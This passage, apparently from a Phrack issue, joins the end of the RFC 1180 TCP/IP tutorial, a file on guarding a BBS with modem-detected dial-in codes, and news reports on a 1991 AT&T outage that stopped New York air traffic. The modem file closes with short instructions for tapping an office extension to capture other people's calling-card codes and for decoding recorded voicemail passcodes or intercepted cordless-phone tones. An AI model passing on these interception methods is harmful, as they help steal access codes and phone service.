- passes the datagram to the upper-level protocol.
-
- This communication between A and B uses direct routing.
-
- 5.2 Indirect Routing
-
- The figure below is a more realistic view of an internet. It is
- composed of 3 Ethernets and 3 IP networks connected by an IP-router
- called computer D. Each IP network has 4 computers; each computer
- has its own IP address and Ethernet address.
-
- A B C ----D---- E F G
- | | | | | | | | |
- --o------o------o------o- | -o------o------o------o--
- Ethernet 1 | Ethernet 2
- IP network "development" | IP network "accounting"
- |
- |
- | H I J
- | | | |
- --o-----o------o------o--
- Ethernet 3
- IP network "factory"
-
- Figure 7. Three IP Networks; One internet
-
- Except for computer D, each computer has a TCP/IP protocol stack like
- that in Figure 1. Computer D is the IP-router; it is connected to
- all 3 networks and therefore has 3 IP addresses and 3 Ethernet
- addresses. Computer D has a TCP/IP protocol stack similar to that in
- Figure 3, except that it has 3 ARP modules and 3 Ethernet drivers
- instead of 2. Please note that computer D has only one IP module.
-
- The network manager has assigned a unique number, called an IP
- network number, to each of the Ethernets. The IP network numbers are
- not shown in this diagram, just the network names.
-
- When computer A sends an IP packet to computer B, the process is
- identical to the single network example above. Any communication
- between computers located on a single IP network matches the direct
- routing example discussed previously.
-
- When computer D and A communicate, it is direct communication. When
- computer D and E communicate, it is direct communication. When
- computer D and H communicate, it is direct communication. This is
- because each of these pairs of computers is on the same IP network.
-
- However, when computer A communicates with a computer on the far side
- of the IP-router, communication is no longer direct. A must use D to
- forward the IP packet to the next IP network. This communication is
- called "indirect".
-
- This routing of IP packets is done by IP modules and happens
- transparently to TCP, UDP, and the network applications.
-
- If A sends an IP packet to E, the source IP address and the source
- Ethernet address are A's. The destination IP address is E's, but
- because A's IP module sends the IP packet to D for forwarding, the
- destination Ethernet address is D's.
-
- ----------------------------------------
- |address source destination|
- ----------------------------------------
- |IP header A E |
- |Ethernet header A D |
- ----------------------------------------
- TABLE 6. Addresses in an Ethernet frame for an IP packet
- from A to E (before D)
-
- D's IP module receives the IP packet and upon examining the
- destination IP address, says "This is not my IP address," and sends
- the IP packet directly to E.
-
- ----------------------------------------
- |address source destination|
- ----------------------------------------
- |IP header A E |
- |Ethernet header D E |
- ----------------------------------------
- TABLE 7. Addresses in an Ethernet frame for an IP packet
- from A to E (after D)
-
- In summary, for direct communication, both the source IP address and
- the source Ethernet address is the sender's, and the destination IP
- address and the destination Ethernet addrss is the recipient's. For
- indirect communication, the IP address and Ethernet addresses do not
- pair up in this way.
-
- This example internet is a very simple one. Real networks are often
- complicated by many factors, resulting in multiple IP-routers and
- several types of physical networks. This example internet might have
- come about because the network manager wanted to split a large
- Ethernet in order to localize Ethernet broadcast traffic.
-
- 5.3 IP Module Routing Rules
-
- This overview of routing has shown what happens, but not how it
- happens. Now let's examine the rules, or algorithm, used by the IP
- module.
-
- For an outgoing IP packet, entering IP from an upper layer, IP must
- decide whether to send the IP packet directly or indirectly, and IP
- must choose a lower network interface. These choices are made by
- consulting the route table.
-
- For an incoming IP packet, entering IP from a lower interface, IP
- must decide whether to forward the IP packet or pass it to an upper
- layer. If the IP packet is being forwarded, it is treated as an
- outgoing IP packet.
-
- When an incoming IP packet arrives it is never forwarded back out
- through the same network interface.
-
- These decisions are made before the IP packet is handed to the lower
- interface and before the ARP table is consulted.
-
- 5.4 IP Address
-
- The network manager assigns IP addresses to computers according to
- the IP network to which the computer is attached. One part of a 4-
- byte IP address is the IP network number, the other part is the IP
- computer number (or host number). For the computer in table 1, with
- an IP address of 223.1.2.1, the network number is 223.1.2 and the
- host number is number 1.
-
- The portion of the address that is used for network number and for
- host number is defined by the upper bits in the 4-byte address. All
- example IP addresses in this tutorial are of type class C, meaning
- that the upper 3 bits indicate that 21 bits are the network number
- and 8 bits are the host number. This allows 2,097,152 class C
- networks up to 254 hosts on each network.
-
- The IP address space is administered by the NIC (Network Information
- Center). All internets that are connected to the single world-wide
- Internet must use network numbers assigned by the NIC. If you are
- setting up your own internet and you are not intending to connect it
- to the Internet, you should still obtain your network numbers from
- the NIC. If you pick your own number, you run the risk of confusion
- and chaos in the eventuality that your internet is connected to
- another internet.
-
- 5.5 Names
-
- People refer to computers by names, not numbers. A computer called
- alpha might have the IP address of 223.1.2.1. For small networks,
- this name-to-address translation data is often kept on each computer
- in the "hosts" file. For larger networks, this translation data file
- is stored on a server and accessed across the network when needed. A
- few lines from that file might look like this:
-
- 223.1.2.1 alpha
- 223.1.2.2 beta
- 223.1.2.3 gamma
- 223.1.2.4 delta
- 223.1.3.2 epsilon
- 223.1.4.2 iota
-
- The IP address is the first column and the computer name is the
- second column.
-
- In most cases, you can install identical "hosts" files on all
- computers. You may notice that "delta" has only one entry in this
- file even though it has 3 IP addresses. Delta can be reached with
- any of its IP addresses; it does not matter which one is used. When
- delta receives an IP packet and looks at the destination address, it
- will recognize any of its own IP addresses.
-
- IP networks are also given names. If you have 3 IP networks, your
- "networks" file for documenting these names might look something like
- this:
-
- 223.1.2 development
- 223.1.3 accounting
- 223.1.4 factory
-
- The IP network number is in the first column and its name is in the
- second column.
-
- From this example you can see that alpha is computer number 1 on the
- development network, beta is computer number 2 on the development
- network and so on. You might also say that alpha is development.1,
- Beta is development.2, and so on.
-
- The above hosts file is adequate for the users, but the network
- manager will probably replace the line for delta with:
-
- 223.1.2.4 devnetrouter delta
- 223.1.3.1 facnetrouter
- 223.1.4.1 accnetrouter
-
- These three new lines for the hosts file give each of delta's IP
- addresses a meaningful name. In fact, the first IP address listed
- has 2 names; "delta" and "devnetrouter" are synonyms. In practice
- "delta" is the general-purpose name of the computer and the other 3
- names are only used when administering the IP route table.
-
- These files are used by network administration commands and network
- applications to provide meaningful names. They are not required for
- operation of an internet, but they do make it easier for us.
-
- 5.6 IP Route Table
-
- How does IP know which lower network interface to use when sending
- out a IP packet? IP looks it up in the route table using a search
- key of the IP network number extracted from the IP destination
- address.
-
- The route table contains one row for each route. The primary columns
- in the route table are: IP network number, direct/indirect flag,
- router IP address, and interface number. This table is referred to
- by IP for each outgoing IP packet.
-
- On most computers the route table can be modified with the "route"
- command. The content of the route table is defined by the network
- manager, because the network manager assigns the IP addresses to the
- computers.
-
- 5.7 Direct Routing Details
-
- To explain how it is used, let us visit in detail the routing
- situations we have reviewed previously.
-
- --------- ---------
- | alpha | | beta |
- | 1 | | 1 |
- --------- ---------
- | |
- --------o---------------o-
- Ethernet 1
- IP network "development"
-
- Figure 8. Close-up View of One IP Network
-
- The route table inside alpha looks like this:
-
- --------------------------------------------------------------
- |network direct/indirect flag router interface number|
- --------------------------------------------------------------
- |development direct <blank> 1 |
- --------------------------------------------------------------
- TABLE 8. Example Simple Route Table
-
- This view can be seen on some UNIX systems with the "netstat -r"
- command. With this simple network, all computers have identical
- routing tables.
-
- For discussion, the table is printed again without the network number
- translated to its network name.
-
- --------------------------------------------------------------
- |network direct/indirect flag router interface number|
- --------------------------------------------------------------
- |223.1.2 direct <blank> 1 |
- --------------------------------------------------------------
- TABLE 9. Example Simple Route Table with Numbers
-
- 5.8 Direct Scenario
-
- Alpha is sending an IP packet to beta. The IP packet is in alpha's
- IP module and the destination IP address is beta or 223.1.2.2. IP
- extracts the network portion of this IP address and scans the first
- column of the table looking for a match. With this network a match
- is found on the first entry.
-
- The other information in this entry indicates that computers on this
- network can be reached directly through interface number 1. An ARP
- table translation is done on beta's IP address then the Ethernet
- frame is sent directly to beta via interface number 1.
-
- If an application tries to send data to an IP address that is not on
- the development network, IP will be unable to find a match in the
- route table. IP then discards the IP packet. Some computers provide
- a "Network not reachable" error message.
-
- 5.9 Indirect Routing Details
-
- Now, let's take a closer look at the more complicated routing
- scenario that we examined previously.
-
- --------- --------- ---------
- | alpha | | delta | |epsilon|
- | 1 | |1 2 3| | 1 |
- --------- --------- ---------
- | | | | |
- --------o---------------o- | -o----------------o--------
- Ethernet 1 | Ethernet 2
- IP network "Development" | IP network "accounting"
- |
- | --------
- | | iota |
- | | 1 |
- | --------
- | |
- --o--------o--------
- Ethernet 3
- IP network "factory"
-
- Figure 9. Close-up View of Three IP Networks
-
- The route table inside alpha looks like this:
-
- ---------------------------------------------------------------------
- |network direct/indirect flag router interface number|
- ---------------------------------------------------------------------
- |development direct <blank> 1 |
- |accounting indirect devnetrouter 1 |
- |factory indirect devnetrouter 1 |
- --------------------------------------------------------------------
- TABLE 10. Alpha Route Table
-
- For discussion the table is printed again using numbers instead of
- names.
-
- --------------------------------------------------------------------
- |network direct/indirect flag router interface number|
- --------------------------------------------------------------------
- |223.1.2 direct <blank> 1 |
- |223.1.3 indirect 223.1.2.4 1 |
- |223.1.4 indirect 223.1.2.4 1 |
- --------------------------------------------------------------------
- TABLE 11. Alpha Route Table with Numbers
-
- The router in Alpha's route table is the IP address of delta's
- connection to the development network.
-
- 5.10 Indirect Scenario
-
- Alpha is sending an IP packet to epsilon. The IP packet is in
- alpha's IP module and the destination IP address is epsilon
- (223.1.3.2). IP extracts th network portion of this IP address
- (223.1.3) and scans the first column of the table looking for a
- match. A match is found on the second entry.
-
- This entry indicates that computers on the 223.1.3 network can be
- reached through the IP-router devnetrouter. Alpha's IP module then
- does an ARP table translation for devnetrouter's IP address and sends
- the IP packet directly to devnetrouter through Alpha's interface
- number 1. The IP packet still contains the destination address of
- epsilon.
-
- The IP packet arrives at delta's development network interface and is
- passed up to delta's IP module. The destination IP address is
- examined and because it does not match any of delta's own IP
- addresses, delta decides to forward the IP packet.
-
- Delta's IP module extracts the network portion of the destination IP
- address (223.1.3) and scans its route table for a matching network
- field. Delta's route table looks like this:
-
- ----------------------------------------------------------------------
- |network direct/indirect flag router interface number|
- ----------------------------------------------------------------------
- |development direct <blank> 1 |
- |factory direct <blank> 3 |
- |accounting direct <blank> 2 |
- ----------------------------------------------------------------------
- TABLE 12. Delta's Route Table
-
- Below is delta's table printed again, without the translation to
- names.
-
- ----------------------------------------------------------------------
- |network direct/indirect flag router interface number|
- ----------------------------------------------------------------------
- |223.1.2 direct <blank> 1 |
- |223.1.3 direct <blank> 3 |
- |223.1.4 direct <blank> 2 |
- ----------------------------------------------------------------------
- TABLE 13. Delta's Route Table with Numbers
-
- The match is found on the second entry. IP then sends the IP packet
- directly to epsilon through interface number 3. The IP packet
- contains the IP destination address of epsilon and the Ethernet
- destination address of epsilon.
-
- The IP packet arrives at epsilon and is passed up to epsilon's IP
- module. The destination IP address is examined and found to match
- with epsilon's IP address, so the IP packet is passed to the upper
- protocol layer.
-
- 5.11 Routing Summary
-
- When a IP packet travels through a large internet it may go through
- many IP-routers before it reaches its destination. The path it takes
- is not determined by a central source but is a result of consulting
- each of the routing tables used in the journey. Each computer
- defines only the next hop in the journey and relies on that computer
- to send the IP packet on its way.
-
- 5.12 Managing the Routes
-
- Maintaining correct routing tables on all computers in a large
- internet is a difficult task; network configuration is being modified
- constantly by the network managers to meet changing needs. Mistakes
- in routing tables can block communication in ways that are
- excruciatingly tedious to diagnose.
-
- Keeping a simple network configuration goes a long way towards making
- a reliable internet. For instance, the most straightforward method
- of assigning IP networks to Ethernet is to assign a single IP network
- number to each Ethernet.
-
- Help is also available from certain protocols and network
- applications. ICMP (Internet Control Message Protocol) can report
- some routing problems. For small networks the route table is filled
- manually on each computer by the network administrator. For larger
- networks the network administrator automates this manual operation
- with a routing protocol to distribute routes throughout a network.
-
- When a computer is moved from one IP network to another, its IP
- address must change. When a computer is removed from an IP network
- its old address becomes invalid. These changes require frequent
- updates to the "hosts" file. This flat file can become difficult to
- maintain for even medium-size networks. The Domain Name System helps
- solve these problems.
-
- 6. User Datagram Protocol
-
- UDP is one of the two main protocols to reside on top of IP. It
- offers service to the user's network applications. Example network
- applications that use UDP are: Network File System (NFS) and Simple
- Network Management Protocol (SNMP). The service is little more than
- an interface to IP.
-
- UDP is a connectionless datagram delivery service that does not
- guarantee delivery. UDP does not maintain an end-to-end connection
- with the remote UDP module; it merely pushes the datagram out on the
- net and accepts incoming datagrams off the net.
-
- UDP adds two values to what is provided by IP. One is the
- multiplexing of information between applications based on port
- number. The other is a checksum to check the integrity of the data.
-
- 6.1 Ports
-
- How does a client on one computer reach the server on another?
-
- The path of communication between an application and UDP is through
- UDP ports. These ports are numbered, beginning with zero. An
- application that is offering service (the server) waits for messages
- to come in on a specific port dedicated to that service. The server
- waits patiently for any client to request service.
-
- For instance, the SNMP server, called an SNMP agent, always waits on
- port 161. There can be only one SNMP agent per computer because
- there is only one UDP port number 161. This port number is well
- known; it is a fixed number, an internet assigned number. If an SNMP
- client wants service, it sends its request to port number 161 of UDP
- on the destination computer.
-
- When an application sends data out through UDP it arrives at the far
- end as a single unit. For example, if an application does 5 writes
- to the UDP port, the application at the far end will do 5 reads from
- the UDP port. Also, the size of each write matches the size of each
- read.
-
- UDP preserves the message boundary defined by the application. It
- never joins two application messages together, or divides a single
- application message into parts.
-
- 6.2 Checksum
-
- An incoming IP packet with an IP header type field indicating "UDP"
- is passed up to the UDP module by IP. When the UDP module receives
- the UDP datagram from IP it examines the UDP checksum. If the
- checksum is zero, it means that checksum was not calculated by the
- sender and can be ignored. Thus the sending computer's UDP module
- may or may not generate checksums. If Ethernet is the only network
- between the 2 UDP modules communicating, then you may not need
- checksumming. However, it is recommended that checksum generation
- always be enabled because at some point in the future a route table
- change may send the data across less reliable media.
-
- If the checksum is valid (or zero), the destination port number is
- examined and if an application is bound to that port, an application
- message is queued for the application to read. Otherwise the UDP
- datagram is discarded. If the incoming UDP datagrams arrive faster
- than the application can read them and if the queue fills to a
- maximum value, UDP datagrams are discarded by UDP. UDP will continue
- to discard UDP datagrams until there is space in the queue.
-
- 7. Transmission Control Protocol
-
- TCP provides a different service than UDP. TCP offers a connection-
- oriented byte stream, instead of a connectionless datagram delivery
- service. TCP guarantees delivery, whereas UDP does not.
-
- TCP is used by network applications that require guaranteed delivery
- and cannot be bothered with doing time-outs and retransmissions. The
- two most typical network applications that use TCP are File Transfer
- Protocol (FTP) and the TELNET. Other popular TCP network
- applications include X-Window System, rcp (remote copy), and the r-
- series commands. TCP's greater capability is not without cost: it
- requires more CPU and network bandwidth. The internals of the TCP
- module are much more complicated than those in a UDP module.
-
- Similar to UDP, network applications connect to TCP ports. Well-
- defined port numbers are dedicated to specific applications. For
- instance, the TELNET server uses port number 23. The TELNET client
- can find the server simply by connecting to port 23 of TCP on the
- specified computer.
-
- When the application first starts using TCP, the TCP module on the
- client's computer and the TCP module on the server's computer start
- communicating with each other. These two end-point TCP modules
- contain state information that defines a virtual circuit. This
- virtual circuit consumes resources in both TCP end-points. The
- virtual circuit is full duplex; data can go in both directions
- simultaneously. The application writes data to the TCP port, the
- data traverses the network and is read by the application at the far
- end.
-
- As with all sliding window protocols, the protocol has a window size.
- The window size determines the amount of data that can be transmitted
- before an acknowledgement is required. For TCP, this amount is not a
- number of TCP segments but a number of bytes.
-
- 8. Network Appliations
-
- Why do both TCP and UDP exist, instead of just one or the other?
-
- They supply different services. Most applications are implemented to
- use only one or the other. You, the programmer, choose the protocol
- that best meets your needs. If you need a reliable stream delivery
- service, TCP might be best. If you need a datagram service, UDP
- might be best. If you need efficiency over long-haul circuits, TCP
- might be best. If you need efficiency over fast networks with short
- latency, UDP might be best. If your needs do not fall nicely into
- these categories, then the "best" choice is unclear. However,
- applications can make up for deficiencies in the choice. For
- instance if you choose UDP and you need reliability, then the
- application must provide reliability. If you choose TCP and you need
- a record oriented service, then the application must insert markers
- in the byte stream to delimit records.
-
- What network aplications are available?
-
- There are far too many to list. The number is growing continually.
- Some of the applications have existed since the beginning of internet
- technology: TELNET and FTP. Others are relatively new: X-Windows and
- SNMP. The following is a brief description of the applications
- mentioned in this tutorial.
-
- 8.1 TELNET
-
- TELNET provides a remote login capability on TCP. The operation and
- appearance is similar to keyboard dialing through a telephone switch.
- On the command line the user types "telnet delta" and receives a
- login prompt from the computer called "delta".
-
- TELNET works well; it is an old application and has widespread
- interoperability. Implementations of TELNET usually work between
- different operating systems. For instance, a TELNET client may be on
- VAX/VMS and the server on UNIX System V.
-
- 8.2 FTP
-
- File Transfer Protocol (FTP), as old as TELNET, also uses TCP and has
- widespread interoperability. The operation and appearance is as if
- you TELNETed to the remote computer. But instead of typing your
- usual commands, you have to make do with a short list of commands for
- directory listings and the like. FTP commands allow you to copy
- files between computers.
-
- 8.3 rsh
-
- Remote shell (rsh or remsh) is one of an entire family of remote UNIX
- style commands. The UNIX copy command, cp, becomes rcp. The UNIX
- "who is logged in" command, who, becomes rwho. The list continues
- and is referred to collectively to as the "r" series commands or the
- "r*" (r star) commands.
-
- The r* commands mainly work between UNIX systems and are designed for
- interaction between trusted hosts. Little consideration is given to
- security, but they provide a convenient user environment.
-
- To execute the "cc file.c" command on a remote computer called delta,
- type "rsh delta cc file.c". To copy the "file.c" file to delta, type
- "rcp file.c delta:". To login to delta, type "rlogin delta", and if
- you administered the computers in a certain wa, you will not be
- challenged with a password prompt.
-
- 8.4 NFS
-
- Network File System, first developed by Sun Microsystems Inc, uses
- UDP and is excellent for mounting UNIX file systems on multiple
- computers. A diskless workstation can access its server's hard disk
- as if the disk were local to the workstation. A single disk copy of
- a database on mainframe "alpha" can also be used by mainframe "beta"
- if the database's file system is NFS mounted commands to
- use the NFS mounted disk as if it were local disk.
-
- 8.5 SNMP
-
- Simple Network Management Protocol (SNMP) uses UDP and is designed
- for use by central network management stations. It is a well known
- fact that if given enough data, a network manager can detect and
- diagnose network problems. The central station uses SNMP to collect
- this data from other computers on the network. SNMP defines the
- format for the data; it is left to the central station or network
- manager to interpret the data.
-
- 8.6 X-Window
-
- The X Window System uses the X Window protocol on TCP to draw windows
- on a workstation's bitmap display. X Window is much more than a
- utility for drawing windows; it is entire philosophy for designing a
- user interface.
-
- 9. Other Information
-
- Much information about internet technology was not included in this
- tutorial. This section lists information that is considered the next
- level of detail for the reader who wishes to learn more.
-
- o administration commands: arp, route, and netstat
- o ARP: permanent entry, publish entry, time-out entry, spoofing
- o IP route table: host entry, default gateway, subnets
- o IP: time-to-live counter, fragmentation, ICMP
- o RIP, routing loops
- o Domain Name System
-
- 10. References
-
- [1] Comer, D., "Internetworking with TCP/IP Principles, Protocols,
- and Architecture", Prentice Hall, Englewood Cliffs, New Jersey,
- U.S.A., 1988.
-
- [2] Feinler, E., et al, DDN Protocol Handbook, Volume 2 and 3, DDN
- Network Information Center, SRI International, 333 Ravenswood
- Avenue, Room EJ291, Menlow Park, California, U.S.A., 1985.
-
- [3] Spider Systems, Ltd., "Packets and Protocols", Spider Systems
- Ltd., Stanwell Street, Edinburgh, U.K. EH6 5NG, 1990.
-
- 11. Relation to other RFCs
-
- This RFC is a tutorial and it does not UPDATE or OBSOLETE any other
- RFC.
-
- 12. Security Considerations
-
- There are security considerations within the TCP/IP protocol suite.
- To some people these considerations are serious problems, to others
- they are not; it depends on the user requirements.
- This tutorial does not discuss these issues, but if you want to learn
- more you should start with the topic of ARP-spoofing, then use the
- "Security Considerations" section of RFC 1122 to lead you to more
- information.
-
- 13. Authors' Addresses
-
- Theodore John Socolofsky
- EMail: TEDS@SPIDER.CO.UK
-
- Claudia Jeanne Kale
- EMail: CLAUDIAK@SPIDER.CO.UK
-
- Note: This info taken from RFC-1180.
- _______________________________________________________________________________
-
-
-
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-four, File #9 of 11
-
- ._._._._._._._._._._._._._._._._._._._._._._._._.
- ! !
- ! Advanced Modem-Oriented BBS Security !
- ! !
- ! By Laughing Gas and Dead Cow !
- ! !
- ! Written Exclusively for PHRACK 8/22/91 !
- !_._._._._._._._._._._._._._._._._._._._._._._._!
-
-
- * Introduction =-= Things you need to know *
-
- This is an introduction and guide to setting up your BBS and modem so that a
- caller must know a certain code and append it to his dialing string in order to
- access the BBS. This lets you have yet another way (besides newuser passwords,
- etc) to lock out unwanted callers.
-
- You can also set a certain pattern for your board's numerical code based on the
- day or the month or something, and distribute this pattern instead of having to
- distribute the access code.
- You must have an intelligent modem to be able to run a board which requires the
- access method I'm going to be discussing in this file. However you don't need
- an intelligent modem to be able to call the same board, but you do have to
- enter the code manually if you do not have an intelligent modem. (So only
- certain people can run a board with this method of access control, but >almost<
- anyone can call one.)
-
- All modem commands in this manual will be hayes 'AT' style commands, and some
- may be available only to USRobotics Courier modems with v.42bis, or certain
- other intelligent modems. If you can't get it to work with your modem, your
- modem may not be able to do it, but try looking in your modem manual, just in
- case.
-
- NOTE: The ONLY modem that this method has been tested with is a USRobotics
- Courier HST modem, (the new kind) with the v.42bis. I tested it with my modem
- which is an older HST (14.4, but no v.42bis) and it did NOT accept the AT%T
- command (it returned "ERROR"). Check page 83 of your HST manual for more info,
- or type AT%$ for on-line help from the modem firmware. (about as helpful as the
- manual, and neither are very detailed.)
-
- Things to know:
- ATDT1234567; This command causes your modem to dial 1234567 and
- then return to command mode.
- ATDT1234567@1; This command causes your modem to dial 1234567, wait for
- an answer, dial 1 and return to command mode.
- |-----> AT%T This command causes every tone that goes into the modem
- | to be identified and followed with a 0.
- |
- |---------------------- This is the key to the whole enchilada.
-
- Alternate commands may be available depending on your modem type.
-
- * Concept =-= How-To
-
- The concept for the bbs access code would be as follows.
-
- The caller dials the number to the BBS, when the BBS picks up, it sends a
- digit, then the caller sends a responding set of digits. If the digits which
- the caller sends match the access code for the BBS, the BBS will send an answer
- tone and the caller's modem will acknowledge and connection.
-
- How it works is like this:
- (Sample Transcript)
-
- CALLER> ATDT1234567@234
- BBS> RING
- BBS> ATDT1;
- BBS> OK
- BBS> AT%T
- BBS> 203040
- BBS> ATA
-
- What happens is the caller dials 1234567 (the number of the BBS) the '@' tells
- the callers modem to wait for a result (which is received when the BBS gets a
- ring and sends a 1) then the callers modem dials 234 (the access code) after
-
- the BBS sent the '1' it got a OK so it sent a AT%T which told it to monitor
- tones. This command returned "203040" which is 234 followed by 0's (the format
- of the output of AT%T) the BBS software would have to watch for this string.
- Since 234 was the right code, the board sent an ATA which would connect the
- caller since it's dial command was still open. If 234 hadn't been the code,
- then the BBS would have sent a ATH0.
-
- * Manual Dialing =-= Lame modems *
-
- Anyway, if you don't have a modem that does the AT%T or ATDT1; commands you
- CANNOT run a BBS with this type of security, unless your modem has EQUIVALENT
- commands, or you can figure out a way to do it with the commands your modem
- has. The toughest part is the reading of tones, which, as far as I know, is
- unique to the HST/Courier modems.
-
- However, if your modem does not do the ATDT1@1 thing, then you can PROBABLY
- still call a board using this security. This is assuming you can just send a
- "dial command" to your modem without a number (ie ATD on an HST.) What you do
- is dial the BBS number manually, then you'll here a beep, you dial the code,
- then send the dial command to your modem and put the phone down. This should
- connect you in the same fashion.. (ie..)
-
- CALLER> manually dials BBS
- BBS> ATDT1;
- CALLER> hears beep and dials 234, then sends ATD to his modem and puts the
- phone down.
- BBS> OK
- BBS> AT%T
- BBS> 203040
- BBS> ATA
- CALLER> his modem connects.
-
- * Bells and Whistles =-= Wrapping It Up *
-
- Your options when using this type of security. There are many different things
- you can do.
-
- Method #1: You can say "Hey, the access code for my board is 234" and give
- that to the people you want to call.
-
- Method #2: Set a pattern for your access codes. Say, the date (ie, for today,
- 8-22-91 the code would be 082291), or you could get more complex (add one to
- each digit, run it through an algorithm, etc)
-
- Method #3: Distribute a program that generates the code based on the day, the
- month, what have you. (However this is only a solution if you can either
- distribute a program like this to EVERY type of operating system, or you only
- want callers from one operating system (or several, the only ones you can
- produce it for..)
-
- Method #4: Have the BBS accept several codes, and give out different code to
- each class of users (say, newusers to apply = 1234, validated = 2345, elite =
- 3456) or something like that, this would allow for control of who calls when,
- as well as logging of call class frequency, etc.
-
- Method #5: Have a specific code for each user. This would take a lot of
- maintenance, but would provide for a VERY secure BBS environment. This would
- allow the same advantages above as well (logging, freq. etc).
-
- Things to keep in mind however are if you have an access code generated by a
- program or by the date, etc. you have to change the code whenever the program
- would.
-
- An interesting side note here is that the AT%T command can be used to call a
- COCOT (private payfone) and record the tones, or possibly to record codes other
- people entered, etc. (Ie, bring your laptop with modem to a office, attach
- it to an extension and wait for a person to pick up, issue the ATD; command
- right away, then AT%T command. If the person dials a 950, you should get
- something like
-
- 90500010003030 (pause) 203040506070
-
- that is assuming the code is 234567. Congratulations, you now have their code.
- The modem can recognize the dtmf tones for 0-9, *, #, and the silver box tones
- A, B, C, and E. I'm sure other interesting uses for this feature can be
- found, and I'd love to hear from the other people out there in the h/p world.
- I'm sure a lot of you have seen me around, for those that haven't I can be
- reached on my board, Solsbury Hill or Ripco (312) or on Internet as
- lgas@doomsday.spies.com.
-
- (Note: Spies is down as of this writing, I have some other accounts, but I'd
- prefer that most of them remain unknown... if anyone wants to offer me an
- account I can use just for mail where I can have my alias for the account
- name, on a stable system, please contact me.)
-
-
- * Non-BBS Oriented Stuff =-= Conclusion *
-
- In some issue of 2600 magazine someplace at some time they published an article
- on how to build a tone detection device: Now you have your own, built in to the
- modem.
-
- An example application of this "in the field" would be calling a COCOT and
- using the modem to decipher the tones. That would be done:
-
- ATDT3014283268; ;call the COCOT
- AT%T ;get tones
-
- it should respond with the decoded tones.
-
- You could fool around with it and get it to accept input from a tape recorder,
- this gives you a way to decipher recorded VMB passcodes, or phone numbers, or
- anything else that was recorded as it was dialed. Or use it with a radio
- scanner set to scan the freqs that cordless fones operate on, and record those
- tones. Then play 'em back into the modem and they're yours.
-
- In conclusion... (ahem).. This is an area which I believe has never been
- breached before, and this idea was brought to you by THUGS. As long as
- technology keeps advancing, we'll be here to bring you the latest tricks such
- as this one. Please contact me if you have any information about this area
- (tone detection via modem, or anything relating to it at all..) especially if
- you know of modems besides the v.42bis models of USRobotic's HSTs that can do
- this.
-
- Laughing Gas
- Solsbury Hill BBS (301-428-3268)
- _______________________________________________________________________________
-
-
-
- ==Phrack Inc.==
-
- Volume Three, Issue Thirty-Four, File #10 of 11
-
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
- PWN PWN
- PWN Phrack World News PWN
- PWN PWN
- PWN Issue XXXIV / Part One PWN
- PWN PWN
- PWN Compiled by Dispater PWN
- PWN PWN
- PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
-
-
- What We Have Got Here Today is Failure to Communicate
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Editors Comment: Dispater
-
- With hundreds, maybe thousands of lives at stake, three airports in New
- York had to shut down due to a long distance carrier failing. It is absolutely
- amazing how irresponsible these services were to rely on only on form of
- communication. Where was the back up system? This incident might not have
- happened it they would have had an alternative carrier or something as simple
- as two way radios.
-
- Many people are running around these days screaming about how
- irresponsible AT&T was. The real problem lyes with people in our society
- failing to take the time to learn fundamental aspects of the common technology.
-
- It is also a shame that the people "in control" were incapable of using
- something as simple as a "port" to dial through another extender. This
- is the kind of thing that happens when people choose to isolate themselves
- from the technological society we have today.
-
- What follows is a compilation of several articles dealing with AT&T long
- distance carrier failures.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Thank You for abUsing AT&T October 18, 1991
- ~~~~~~~~~~~~~~~~~~~~~~~~~
- by Kimberly Hayes Taylor and Steve Marshall (USA Today "Phone Failure Stalls
- Air Traffic Disruption in N.Y. Felt Nationwide")
-
- Air traffic in and out of New York City resumed late Tuesday after a
- phone-service failure virtually shut down three airports for almost four
- hours. Hundreds of flights coast to coast were delayed or canceled when
- controllers at John F. Kennedy, La Guardia and Newark (New Jersey) airports
- lost the link that allows communication among themselves or with other U.S.
- airports. Communications between pilots and air-traffic controllers travel
- over telephone lines to ground-based radio equipment. AT&T spokesman Herb
- Linnen blamed an internal power failure in a long-distance switching office
- in Manhattan. Hours after the 4:50 PM EDT failure, 40 planes loaded with
- passengers were sitting on the runway at Kennedy, 35 at Newark, 30 at La
- Guardia. "During the height of the thing, at least 300 aircraft were delayed
- at metropolitan airports," said Bob Fulton, a spokesperson for the Federal
- Aviation Administration. Included: flights taking off "from California to
- Florida" and headed for New York, said FAA's Fred Farrar. Farrar said planes
- had to be grounded for safety. Without telephone communication, they would
- "fly willy-nilly." Among diverted flights: a British Airways supersonic
- Concorde from London, which landed at Bradley airport outside Hartford, Conn.
- Passenger reaction: at Washington's National Airport, Dominique Becoeur of
- Paris was "reading, drinking, and thinking" while waiting for a flight to New
- York. At La Guardia, Ernie Baugh, of Chattanooga, Tenn., said, "I think I
- will go and have another beer." Flights were reported resuming by 9 p.m.
- EDT. Linnen said AT&T was busy Tuesday night restoring long-distance service
- in and out of New York City, which had been interrupted. Some international
- service also had been affected.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- AT&T's Hang Ups October 19, 1991
- ~~~~~~~~~~~~~~
- By John Schneidawind (USA Today - "The Big Hang-Up Phone Crash Grounds
- Airplanes, Raises Anger")
-
- The Federal Administration Aviation has some good news for travelers who
- were stranded at airports, or delayed for hours, the past two days by the New
- York City telephone outage. If a similar phone disaster strikes next month,
- hardly any fliers will know the difference. That's because AT&T is close to
- completing installation of a network of microwave dishes that will
- supplement, if not replace, the phone lines AT&T uses to relay calls between
- air-traffic controllers in different cities. Tuesday evening, flights in and
- out of some of the nation's busiest airports - Kennedy, La Guardia, and
- Newark, N.J. - were grounded because FAA controllers couldn't communicate
- with one another. For much of the 1980's, land-based fiber optic lines have
- been slowly replacing microwave phone dishes phone companies long have used
- to transmit telephone calls. That's because fiber-optic wires were thought
- to provide clearer calls than microwave technology. Now, it's becoming
- apparent that sending some or most telephone calls via wireless microwave
- might ease the burden handled by fiber-optic cables. In addition, a
- microwave call could be transmitted point-to-point, bypassing an inoperative
- switching center when a breakdown or catastrophe occurs.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Computer Maker Says Tiny Software Flaw Caused Phone Disruptions
